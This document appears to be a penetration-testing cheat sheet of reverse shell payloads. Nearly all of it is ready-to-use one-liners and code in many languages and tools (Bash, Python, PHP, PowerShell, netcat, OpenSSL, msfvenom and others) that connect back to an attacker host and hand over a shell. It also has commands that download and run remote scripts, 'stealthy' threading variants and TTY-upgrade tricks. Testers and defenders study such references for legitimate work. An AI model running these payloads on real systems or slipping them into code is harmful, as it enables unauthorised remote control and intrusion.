# Reverse Shells

## Bash TCP

```
bash -i >& /dev/tcp/10.0.0.1/4242 0>&1

0<&196;exec 196<>/dev/tcp/10.0.0.1/4242; sh <&196 >&196 2>&196
```

## Bash UDP

```
Victim:
sh -i >& /dev/udp/10.0.0.1/4242 0>&1

Listener:
nc -u -lvp 4242
```

Don't forget to check with others shell : sh, ash, bsh, csh, ksh, zsh, pdksh, tcsh, bash

## Socat

```
user@attack$ socat file:`tty`,raw,echo=0 TCP-L:4242
user@victim$ /tmp/socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:10.0.0.1:4242
```

```
user@victim$ wget -q https://github.com/andrew-d/static-binaries/raw/master/binaries/linux/x86_64/socat -O /tmp/socat; chmod +x /tmp/socat; /tmp/socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:10.0.0.1:4242
```

Static socat binary can be found at [https://github.com/andrew-d/static-binaries](https://github.com/andrew-d/static-binaries/raw/master/binaries/linux/x86_64/socat)

## Perl

```
perl -e 'use Socket;$i="10.0.0.1";$p=4242;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"10.0.0.1:4242");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'


NOTE: Windows only
perl -MIO -e '$c=new IO::Socket::INET(PeerAddr,"10.0.0.1:4242");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'
```

## Python

Linux only

IPv4

```
export RHOST="10.0.0.1";export RPORT=4242;python -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/sh")'
```

IPv4

```
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",4242));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")'
```

IPv6

```
python -c 'import socket,subprocess,os,pty;s=socket.socket(socket.AF_INET6,socket.SOCK_STREAM);s.connect(("dead:beef:2::125c",4242,0,2));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=pty.spawn("/bin/sh");'
```

```
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",4242));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
```

Windows only

```
C:\Python27\python.exe -c "(lambda __y, __g, __contextlib: [[[[[[[(s.connect(('10.0.0.1', 4242)), [[[(s2p_thread.start(), [[(p2s_thread.start(), (lambda __out: (lambda __ctx: [__ctx.__enter__(), __ctx.__exit__(None, None, None), __out[0](lambda: None)][2])(__contextlib.nested(type('except', (), {'__enter__': lambda self: None, '__exit__': lambda __self, __exctype, __value, __traceback: __exctype is not None and (issubclass(__exctype, KeyboardInterrupt) and [True for __out[0] in [((s.close(), lambda after: after())[1])]][0])})(), type('try', (), {'__enter__': lambda self: None, '__exit__': lambda __self, __exctype, __value, __traceback: [False for __out[0] in [((p.wait(), (lambda __after: __after()))[1])]][0]})())))([None]))[1] for p2s_thread.daemon in [(True)]][0] for __g['p2s_thread'] in [(threading.Thread(target=p2s, args=[s, p]))]][0])[1] for s2p_thread.daemon in [(True)]][0] for __g['s2p_thread'] in [(threading.Thread(target=s2p, args=[s, p]))]][0] for __g['p'] in [(subprocess.Popen(['\\windows\\system32\\cmd.exe'], stdout=subprocess.PIPE, stderr=subprocess.STDOUT, stdin=subprocess.PIPE))]][0])[1] for __g['s'] in [(socket.socket(socket.AF_INET, socket.SOCK_STREAM))]][0] for __g['p2s'], p2s.__name__ in [(lambda s, p: (lambda __l: [(lambda __after: __y(lambda __this: lambda: (__l['s'].send(__l['p'].stdout.read(1)), __this())[1] if True else __after())())(lambda: None) for __l['s'], __l['p'] in [(s, p)]][0])({}), 'p2s')]][0] for __g['s2p'], s2p.__name__ in [(lambda s, p: (lambda __l: [(lambda __after: __y(lambda __this: lambda: [(lambda __after: (__l['p'].stdin.write(__l['data']), __after())[1] if (len(__l['data']) > 0) else __after())(lambda: __this()) for __l['data'] in [(__l['s'].recv(1024))]][0] if True else __after())())(lambda: None) for __l['s'], __l['p'] in [(s, p)]][0])({}), 's2p')]][0] for __g['os'] in [(__import__('os', __g, __g))]][0] for __g['socket'] in [(__import__('socket', __g, __g))]][0] for __g['subprocess'] in [(__import__('subprocess', __g, __g))]][0] for __g['threading'] in [(__import__('threading', __g, __g))]][0])((lambda f: (lambda x: x(x))(lambda y: f(lambda: y(y)()))), globals(), __import__('contextlib'))"
```

## PHP

```
php -r '$sock=fsockopen("10.0.0.1",4242);exec("/bin/sh -i <&3 >&3 2>&3");'
php -r '$sock=fsockopen("10.0.0.1",4242);shell_exec("/bin/sh -i <&3 >&3 2>&3");'
php -r '$sock=fsockopen("10.0.0.1",4242);`/bin/sh -i <&3 >&3 2>&3`;'
php -r '$sock=fsockopen("10.0.0.1",4242);system("/bin/sh -i <&3 >&3 2>&3");'
php -r '$sock=fsockopen("10.0.0.1",4242);passthru("/bin/sh -i <&3 >&3 2>&3");'
php -r '$sock=fsockopen("10.0.0.1",4242);popen("/bin/sh -i <&3 >&3 2>&3", "r");'
```

```
php -r '$sock=fsockopen("10.0.0.1",4242);$proc=proc_open("/bin/sh -i", array(0=>$sock, 1=>$sock, 2=>$sock),$pipes);'
```

## Ruby

```
ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",4242).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'

ruby -rsocket -e'exit if fork;c=TCPSocket.new("10.0.0.1","4242");loop{c.gets.chomp!;(exit! if $_=="exit");($_=~/cd (.+)/i?(Dir.chdir($1)):(IO.popen($_,?r){|io|c.print io.read}))rescue c.puts "failed: #{$_}"}'

NOTE: Windows only
ruby -rsocket -e 'c=TCPSocket.new("10.0.0.1","4242");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'
```

## Golang

```
echo 'package main;import"os/exec";import"net";func main(){c,_:=net.Dial("tcp","10.0.0.1:4242");cmd:=exec.Command("/bin/sh");cmd.Stdin=c;cmd.Stdout=c;cmd.Stderr=c;cmd.Run()}' > /tmp/t.go && go run /tmp/t.go && rm /tmp/t.go
```

## Netcat Traditional

```
nc -e /bin/sh 10.0.0.1 4242
nc -e /bin/bash 10.0.0.1 4242
nc -c bash 10.0.0.1 4242
```

### Netcat OpenBsd

```
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 4242 >/tmp/f
```

### Netcat BusyBox

```
rm /tmp/f;mknod /tmp/f p;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 4242 >/tmp/f
```

### Ncat

```
ncat 10.0.0.1 4242 -e /bin/bash
ncat --udp 10.0.0.1 4242 -e /bin/bash
```

## OpenSSL

Attacker:

```
user@attack$ openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes
user@attack$ openssl s_server -quiet -key key.pem -cert cert.pem -port 4242
or
user@attack$ ncat --ssl -vv -l -p 4242

user@victim$ mkfifo /tmp/s; /bin/sh -i < /tmp/s 2>&1 | openssl s_client -quiet -connect 10.0.0.1:4242 > /tmp/s; rm /tmp/s
```

TLS-PSK (does not rely on PKI or self-signed certificates)

```
# generate 384-bit PSK
# use the generated string as a value for the two PSK variables from below
openssl rand -hex 48 
# server (attacker)
export LHOST="*"; export LPORT="4242"; export PSK="replacewithgeneratedpskfromabove"; openssl s_server -quiet -tls1_2 -cipher PSK-CHACHA20-POLY1305:PSK-AES256-GCM-SHA384:PSK-AES256-CBC-SHA384:PSK-AES128-GCM-SHA256:PSK-AES128-CBC-SHA256 -psk $PSK -nocert -accept $LHOST:$LPORT
# client (victim)
export RHOST="10.0.0.1"; export RPORT="4242"; export PSK="replacewithgeneratedpskfromabove"; export PIPE="/tmp/`openssl rand -hex 4`"; mkfifo $PIPE; /bin/sh -i < $PIPE 2>&1 | openssl s_client -quiet -tls1_2 -psk $PSK -connect $RHOST:$RPORT > $PIPE; rm $PIPE
```

## Powershell

```
powershell -NoP -NonI -W Hidden -Exec Bypass -Command New-Object System.Net.Sockets.TCPClient("10.0.0.1",4242);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2  = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()
```

```
powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient('10.0.0.1',4242);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"
```

```
powershell IEX (New-Object Net.WebClient).DownloadString('https://gist.githubusercontent.com/staaldraad/204928a6004e89553a8d3db0ce527fd5/raw/fe5f74ecfae7ec0f2d50895ecf9ab9dafe253ad4/mini-reverse.ps1')
```

## Awk

```
awk 'BEGIN {s = "/inet/tcp/0/10.0.0.1/4242"; while(42) { do{ printf "shell>" |& s; s |& getline c; if(c){ while ((c |& getline) > 0) print $0 |& s; close(c); } } while(c != "exit") close(s); }}' /dev/null
```

## Java

```
Runtime r = Runtime.getRuntime();
Process p = r.exec("/bin/bash -c 'exec 5<>/dev/tcp/10.0.0.1/4242;cat <&5 | while read line; do $line 2>&5 >&5; done'");
p.waitFor();
```

### **Java Alternative 1**

```
String host="127.0.0.1";
int port=4444;
String cmd="cmd.exe";
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();
```

### **Java Alternative 2**

**NOTE**: This is more stealthy

```
Thread thread = new Thread(){
    public void run(){
        // Reverse shell here
    }
}
thread.start();
```

## War

```
msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.0.0.1 LPORT=4242 -f war > reverse.war
strings reverse.war | grep jsp # in order to get the name of the file
```

## Lua

Linux only

```
lua -e "require('socket');require('os');t=socket.tcp();t:connect('10.0.0.1','4242');os.execute('/bin/sh -i <&3 >&3 2>&3');"
```

Windows and Linux

```
lua5.1 -e 'local host, port = "10.0.0.1", 4242 local socket = require("socket") local tcp = socket.tcp() local io = require("io") tcp:connect(host, port); while true do local cmd, status, partial = tcp:receive() local f = io.popen(cmd, "r") local s = f:read("*a") f:close() tcp:send(s) if status == "closed" then break end end tcp:close()'
```

## NodeJS

```
(function(){
    var net = require("net"),
        cp = require("child_process"),
        sh = cp.spawn("/bin/sh", []);
    var client = new net.Socket();
    client.connect(4242, "10.0.0.1", function(){
        client.pipe(sh.stdin);
        sh.stdout.pipe(client);
        sh.stderr.pipe(client);
    });
    return /a/; // Prevents the Node.js application form crashing
})();


or

require('child_process').exec('nc -e /bin/sh 10.0.0.1 4242')

or

-var x = global.process.mainModule.require
-x('child_process').exec('nc 10.0.0.1 4242 -e /bin/bash')

or

https://gitlab.com/0x4ndr3/blog/blob/master/JSgen/JSgen.py
```

## Groovy

by [frohoff](https://gist.github.com/frohoff/fed1ffaab9b9beeb1c76) NOTE: Java reverse shell also work for Groovy

```
String host="10.0.0.1";
int port=4242;
String cmd="cmd.exe";
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();
```

### **Groovy Alternative 1**

**NOTE**: This is more stealthy

```
Thread.start {
    // Reverse shell here
}
```

## C

Compile with `gcc /tmp/shell.c --output csh && csh`

```
#include <stdio.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <stdlib.h>
#include <unistd.h>
#include <netinet/in.h>
#include <arpa/inet.h>

int main(void){
    int port = 4242;
    struct sockaddr_in revsockaddr;

    int sockt = socket(AF_INET, SOCK_STREAM, 0);
    revsockaddr.sin_family = AF_INET;       
    revsockaddr.sin_port = htons(port);
    revsockaddr.sin_addr.s_addr = inet_addr("10.0.0.1");

    connect(sockt, (struct sockaddr *) &revsockaddr, 
    sizeof(revsockaddr));
    dup2(sockt, 0);
    dup2(sockt, 1);
    dup2(sockt, 2);

    char * const argv[] = {"/bin/sh", NULL};
    execve("/bin/sh", argv, NULL);

    return 0;       
}
```

## Dart

```
import 'dart:io';
import 'dart:convert';

main() {
  Socket.connect("10.0.0.1", 4242).then((socket) {
    socket.listen((data) {
      Process.start('powershell.exe', []).then((Process process) {
        process.stdin.writeln(new String.fromCharCodes(data).trim());
        process.stdout
          .transform(utf8.decoder)
          .listen((output) { socket.write(output); });
      });
    },
    onDone: () {
      socket.destroy();
    });
  });
}
```

## Meterpreter Shell

### Windows Staged reverse TCP

```
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.0.0.1 LPORT=4242 -f exe > reverse.exe
```

### Windows Stageless reverse TCP

```
msfvenom -p windows/shell_reverse_tcp LHOST=10.0.0.1 LPORT=4242 -f exe > reverse.exe
```

### Linux Staged reverse TCP

```
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=10.0.0.1 LPORT=4242 -f elf >reverse.elf
```

### Linux Stageless reverse TCP

```
msfvenom -p linux/x86/shell_reverse_tcp LHOST=10.0.0.1 LPORT=4242 -f elf >reverse.elf
```

### Other platforms

```
$ msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST="10.0.0.1" LPORT=4242 -f elf > shell.elf
$ msfvenom -p windows/meterpreter/reverse_tcp LHOST="10.0.0.1" LPORT=4242 -f exe > shell.exe
$ msfvenom -p osx/x86/shell_reverse_tcp LHOST="10.0.0.1" LPORT=4242 -f macho > shell.macho
$ msfvenom -p windows/meterpreter/reverse_tcp LHOST="10.0.0.1" LPORT=4242 -f asp > shell.asp
$ msfvenom -p java/jsp_shell_reverse_tcp LHOST="10.0.0.1" LPORT=4242 -f raw > shell.jsp
$ msfvenom -p java/jsp_shell_reverse_tcp LHOST="10.0.0.1" LPORT=4242 -f war > shell.war
$ msfvenom -p cmd/unix/reverse_python LHOST="10.0.0.1" LPORT=4242 -f raw > shell.py
$ msfvenom -p cmd/unix/reverse_bash LHOST="10.0.0.1" LPORT=4242 -f raw > shell.sh
$ msfvenom -p cmd/unix/reverse_perl LHOST="10.0.0.1" LPORT=4242 -f raw > shell.pl
$ msfvenom -p php/meterpreter_reverse_tcp LHOST="10.0.0.1" LPORT=4242 -f raw > shell.php; cat shell.php | pbcopy && echo '<?php ' | tr -d '\n' > shell.php && pbpaste >> shell.php
```

## Spawn TTY Shell

In order to catch a shell, you need to listen on the desired port. `rlwrap` will enhance the shell, allowing you to clear the screen with `[CTRL] + [L]`.

```
rlwrap nc 10.0.0.1 4242

rlwrap -r -f . nc 10.0.0.1 4242
-f . will make rlwrap use the current history file as a completion word list.
-r Put all words seen on in- and output on the completion list.
```

Sometimes, you want to access shortcuts, su, nano and autocomplete in a partially tty shell.

⚠️ OhMyZSH might break this trick, a simple `sh` is recommended

> The main problem here is that zsh doesn't handle the stty command the same way bash or sh does. \[...] stty raw -echo; fg\[...] If you try to execute this as two separated commands, as soon as the prompt appear for you to execute the fg command, your -echo command already lost its effect

```
ctrl+z
echo $TERM && tput lines && tput cols

# for bash
stty raw -echo
fg

# for zsh
stty raw -echo; fg

reset
export SHELL=bash
export TERM=xterm-256color
stty rows <num> columns <cols>
```

or use `socat` binary to get a fully tty reverse shell

```
socat file:`tty`,raw,echo=0 tcp-listen:12345
```

Spawn a TTY shell from an interpreter

```
/bin/sh -i
python3 -c 'import pty; pty.spawn("/bin/sh")'
python3 -c "__import__('pty').spawn('/bin/bash')"
python3 -c "__import__('subprocess').call(['/bin/bash'])"
perl -e 'exec "/bin/sh";'
perl: exec "/bin/sh";
perl -e 'print `/bin/bash`'
ruby: exec "/bin/sh"
lua: os.execute('/bin/sh')
```

* vi: `:!bash`
* vi: `:set shell=/bin/bash:shell`
* nmap: `!sh`
* mysql: `! bash`

Alternative TTY method

```
www-data@debian:/dev/shm$ su - user
su: must be run from a terminal

www-data@debian:/dev/shm$ /usr/bin/script -qc /bin/bash /dev/null
www-data@debian:/dev/shm$ su - user
Password: P4ssW0rD

user@debian:~$ 
```

## Fully interactive reverse shell on Windows

The introduction of the Pseudo Console (ConPty) in Windows has improved so much the way Windows handles terminals.

**ConPtyShell uses the function** [**CreatePseudoConsole()**](https://docs.microsoft.com/en-us/windows/console/createpseudoconsole)**. This function is available since Windows 10 / Windows Server 2019 version 1809 (build 10.0.17763).**

Server Side:

```
stty raw -echo; (stty size; cat) | nc -lvnp 3001
```

Client Side:

```
IEX(IWR https://raw.githubusercontent.com/antonioCoco/ConPtyShell/master/Invoke-ConPtyShell.ps1 -UseBasicParsing); Invoke-ConPtyShell 10.0.0.2 3001
```

Offline version of the ps1 available at --> [https://github.com/antonioCoco/ConPtyShell/blob/master/Invoke-ConPtyShell.ps1](https://github.com/antonioCoco/ConPtyShell/blob/master/Invoke-ConPtyShell.ps1)

## References

* [Reverse Bash Shell One Liner](https://security.stackexchange.com/questions/166643/reverse-bash-shell-one-liner)
* [Pentest Monkey - Cheat Sheet Reverse shell](http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet)
* [Spawning a TTY Shell](http://netsec.ws/?p=337)
* [Obtaining a fully interactive shell](https://forum.hackthebox.eu/discussion/142/obtaining-a-fully-interactive-shell)
